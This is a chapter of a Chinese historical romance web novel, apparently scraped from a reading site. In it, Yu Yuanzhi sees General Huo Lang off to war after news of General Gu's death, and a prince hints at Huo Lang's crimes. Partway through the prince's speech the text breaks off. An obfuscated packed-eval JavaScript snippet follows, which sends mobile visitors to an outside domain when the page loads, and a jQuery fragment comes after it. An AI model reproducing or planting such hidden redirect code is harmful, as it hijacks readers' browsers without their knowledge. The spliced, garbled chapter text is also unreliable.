74. 霁光篇·二十九
作品:《霍将军说他是禽兽》 俞沅之伤势渐有好转,她惦念阿娘,天擦亮便动身返宅相探,但无法久留,若被阿娘瞧出不妥定会追问缘由,毕竟腿上还缠着厚厚绑带,需按时换药。
娘比划着霍琅前段日子过府拜访之事,双眼闪动泪花,原来早在男子初次登门时,娘就已认出他腰间佩戴荷包乃出自自家女儿之手。
俞沅之脸颊羞红,坦诚应下。
原以为娘会失望责备,但不料只是温柔抚过她的背,揽住她的肩拍了拍。
娘盼她幸福。
俞沅之留在宅子用早膳,喝了一整碗杏仁糯米粥,方才恋恋不舍地离开。
巷口,玄风悠哉甩动两下马尾,阿严不见踪影,取而代之的是某玄衣男子。
霍琅将她抱上马背,扬鞭奔向北郊,他颇为反常,一路抵在俞沅之耳畔喃喃,诉尽相思苦。
行至山峰脚下,仰头可见两人初次“过夜”的地方。
“上去吗?”他问。
俞沅之缓慢摇头。
霍琅收紧手臂,与她愈发紧密,温柔道:“娘有否提到我?”
俞沅之怔怔望向远处古树,小声说:“阿严副将多日来心神不宁,懊悔那晚中计,担忧你的处置,你答应我,不要怪责他。”
霍琅沉默,本打算设法避开,让俞沅之不再想起那段痛苦回忆,不料她竟主动提起。
山风裹挟着凉意丝丝缠绕在两人周围,俞沅之闭目靠在男子怀中,她很想解清心中疑惑,话到嘴边却又通通咽了下去。
她害怕听到回答,如果霍琅选择隐瞒或是说谎……
“明年初春,带你到胥郡走走,那里距顾浔阳驻营不远。”他道。
俞沅之轻轻颔首:“嗯。”
忽地,一声雁唳回荡山间。
她睁开眼睛,碧蓝天穹澄澈无云,犹如身在乡野般空旷辽阔。
有大雁飞过……
“云中谁寄锦书来。”她喃喃自语。
霍琅拥抱的力道再度加重。
-
“顾浔阳的信!”
一双绯色绣鞋踩过落叶,罗羡仙像兔子般欢快迈入罗府正堂,将书信捧在胸口。
“看样子和好如初。”俞沅之放下杯盏打趣道。
女子闻声红脸,敷衍几句立刻回房。
朱管家欣慰又无奈地叹了口气,继续弯腰洒扫落叶,偶有被风卷起的枯黄,远望就像是蝴蝶结伴飞舞,嬉戏在点点暖阳里,继而悄然飘散。
半月后,一封砂印急报快马加鞭传入襄京,驻关统领顾将军在巡视恒邺峡谷边线时,遭遇恒军暗箭偷袭,坠入深渊尸骨无存,随行数十位士兵均葬身山涧。
两国战事一触即发,皇上连夜下旨,命霍琅挂帅出征,葛涯霍严分为左右副将,率大军两万东行。
罗羡仙闻讯晕厥,俞沅之紧紧抱住人,哭喊着唤大夫,一抹青衣与跑出府邸的朱管家撞了个正着。
“罗姑娘受惊过度,急火攻心,我为她拟一副温和方子来,谨记不可服用其他汤药。”
魏太医神情凝重,他按霍琅嘱咐每五日为俞沅之检查腿伤恢复情况,恰好碰到罗家乱象,连忙帮其诊治。
俞沅之恳切道:“辛劳太医。”
魏太医拱手施礼,告辞离开。
俞沅之回头望着面容苍白,满脸泪痕的女子,视线扫过梳妆台,妆奁最底层漏出一点信封折角……
那是顾浔阳的“绝笔”。
大军巳时出城,安顿好罗羡仙后,俞沅之飞快赶到马厩,她与萤风不算熟稔,好在这匹白马训练有素,前不久被霍琅送到罗府陪伴她。
原来阿严本名霍严,因她求情之故性命得保,不过还是被杖责二十,阿严欢天喜地领罚,俞沅之颇为诧异,阿严咧嘴称,跟随将军打胜仗比什么都重要,赏罚分明才是将士所求,他既有错在身,若轻飘掀过今后将无颜面对众人,将军也会威望尽失,领罚则心安理得。
阿威因公事未能赶回都城,左副将临时调派葛姓武将。
当一匹雪白骏马出现在城郊草野时,霍琅已戎装加身,他夹紧马腹,从军中直奔来人飞去。
俞沅之身后随行四名护卫,接替阿严职责。
一抹雾蓝裙角随风扬起,直至与冰冷坚硬的金色铠甲牵绊缠绵。
她的双臂环在男子金盔后,踮起脚尖吻他的唇瓣。
霍琅吮过她每一滴泪,最终停留在那份柔软之上,绕住她的舌尖,将即将迎来的离别愁思悉数宣泄。
“等你回来,我有话与你说。”
俞沅之长睫轻颤,额头抵在男子耳畔,喃喃低诉。
“好。”
霍琅揉着她的后脑,牢牢抱紧不愿松手。
俞沅之那千种迟疑,万般顾虑都在听到顾浔阳死讯时灰飞烟灭,世间痛楚有什么能够超越死别?她要将心底挣扎坦诚相待,纵使霍琅当真为恒人,她也愿听他的解释。
大军启程在即,玄风踏步朝两人走来。
俞沅之站在原地,双眼微肿。
马蹄翻滚尘土奔向远处,霍琅的背影逐渐变得模糊。
这年秋,她注定在彷徨中等待。
-
晌午,俞沅之匆忙赶回罗府,得知顾浔阳离世,她的胸口像压了一块大石,闷痛难耐,泪水无法自控地流落,脑中全然是男子站在雨夜里,那道坚定耿直的眼神。
她转身望向巷口,依稀看到顾将军的影子,然而再一眨眼,消散不见。
“俞姑娘。”
有脚步声临近。
徐鄞经过数月休养,面容红润有光,中秋宫宴他不曾露面,王府变故他也未现身,俞沅之几乎快要忘记这个人的存在。
碍于礼法,她皱着眉头垂首问安。
徐鄞抬手:“不必多礼。”
俞沅之沉默欲离,男子却向右迈步挡住她的去路,柔声问:“罗姑娘如何?”
“罗姑娘染了风寒不宜见客,六殿下若有事登府,还请择日。”
她神情严肃,回应冷淡。
徐鄞沉吟片刻,道:“顾将军骤然过世,想必对罗姑娘打击不小,本殿下特意命人挑来些外域进献的珍贵补品,俞姑娘不妨代她收下。”
“顾将军将个人安危置之度外,驻守边境英勇殉国,大邺子民人人伤心。”
徐鄞闻言挑眉:“殉国?”
俞沅之屏住呼吸从男子身旁绕过。
“有件事你应当不知道,徐慕昨夜在牢中自缢身亡。”
俞沅之脚步一滞,右耳琉璃坠猛然晃打在脸颊上。
男子缓慢靠近,俯身低语:“在这之前,仅有一人见过他。”
是霍琅……
“徐慕出身尊贵,是大邺皇族血脉,虽一时糊涂铸下大错,陛下依旧舍不得伤他性命,俞姑娘可知此为何故?”
见她不作声,徐鄞冷笑道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816481|164833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天子要放一人生路,就算一只脚迈入阴曹地府,也能被拉上来,可惜徐慕耐性欠缺,竟不愿等恩典,殊不知是自甘颓丧,还是经人折辱所至万念俱灰?”
俞沅之双眸倏忽瞪大。
他在暗示……是霍琅逼死徐慕?
徐鄞轻叹一声:“纵使他罪大恶极,也曾舍命相救俞姑娘,何况若论愆戾山积,从不止徐慕一人。”
俞沅之攥紧掌心,斜睨男子一眼:“六殿下究竟想说什么?”
男子眼睫低垂,慢条斯理挽起袖口。
“霍琅并不是个好人,换言之你不够了解他,好比二王爷中毒一事,倘若霍琅果真如外界所传,探查线索至二王府无意撞破,何以解释二王近身护卫均无辜死伤在他的剑下?”徐鄞停顿片刻,凝视着她压低声音道,“又或者曾几何时,他的刀刃也曾对准过你的喉咙……”
俞沅之脸色陡然一变,一瞬惊愕恍如雷击。
徐鄞勾唇道:“补品还望转送给罗姑娘,逝者已逝,生者尚有来日。”
俞沅之:“……”
一团乌云自东碾来,压得人透不过气。
俞沅之左脚刚迈入院子,抬眸就瞧见朱管家双臂摊开,身子狂抖朝她跑来,五官挤在一起叫嚷道:“大姑娘疯了!”
满地剑穗,木柜被利器砸出数道裂纹,妆奁里的首饰、罗裙衣衫、花瓶摆件挂画纷纷遭难,仆妇均不敢上前,躲在门边手足无措。
罗羡仙扯住丝被蜷缩在墙角,肩膀不住地颤栗,心底一声声绝望愤怒的呐喊仿佛堵塞在喉咙里,终了化作重重的喘息,急促喷薄而出,烧光她所有的理智。
俞沅之扑上去抱住女子,她试图触碰,试图安抚她的脆弱,但指尖沾染到湿润,便控制不住与罗羡仙一起哭。
“地上凉……”俞沅之嗓音哽咽,“先起来,好不好?”
罗羡仙忽然惊恐地挣脱她的手臂,哆嗦着靠墙,嘴唇半张却吐不出一个字,开开合合,唯有干涩的咽声。
俞沅之察觉不妥,立刻让人端来水盆,然而不待器皿备下,女子已然喷出一口鲜血,双眼反白再度晕厥。
上辈子顾将军殉国是在成亲后,她没有看到罗羡仙的反应,如今亲眼目睹,除了心痛还是心痛,不仅为罗羡仙,也为顾浔阳。
俞沅之召唤仆妇进门,帮她将女子抬到榻上,再延请魏太医过府诊治。
金针入穴,暂缓罗羡仙焦症。
魏太医摇头叹息,从袖口拿出一瓶药丸,可供安神促眠。
罗羡仙醒来时天色已晚,寒蝉复吟,夜幕沉静,俞沅之趴在床边,女子一动她便同时清醒。
“一整天没吃东西,饿不饿?”她轻声问道。
罗羡仙怔怔望着鹅黄帐幔,面无表情。
“我……好像梦到他了。”女子声音沙哑。
俞沅之眼睫低垂,咽下苦涩点了点头。
“他……他托梦给我,说有人想害他……”罗羡仙自顾自喃喃,“在峡谷……他有所察觉,他感觉到了……我得帮他。”
“别这样……”俞沅之握住女子的手,冰凉彻骨。
罗羡仙一字一字道:“我得帮他……报仇。”
俞沅之:“咱们一定会打胜仗,一定会让恒兵付出代价!”
“不……”罗羡仙直勾勾盯住前方,眼神骇人,“不是恒兵。”
俞沅之:“……”
“是身边人。”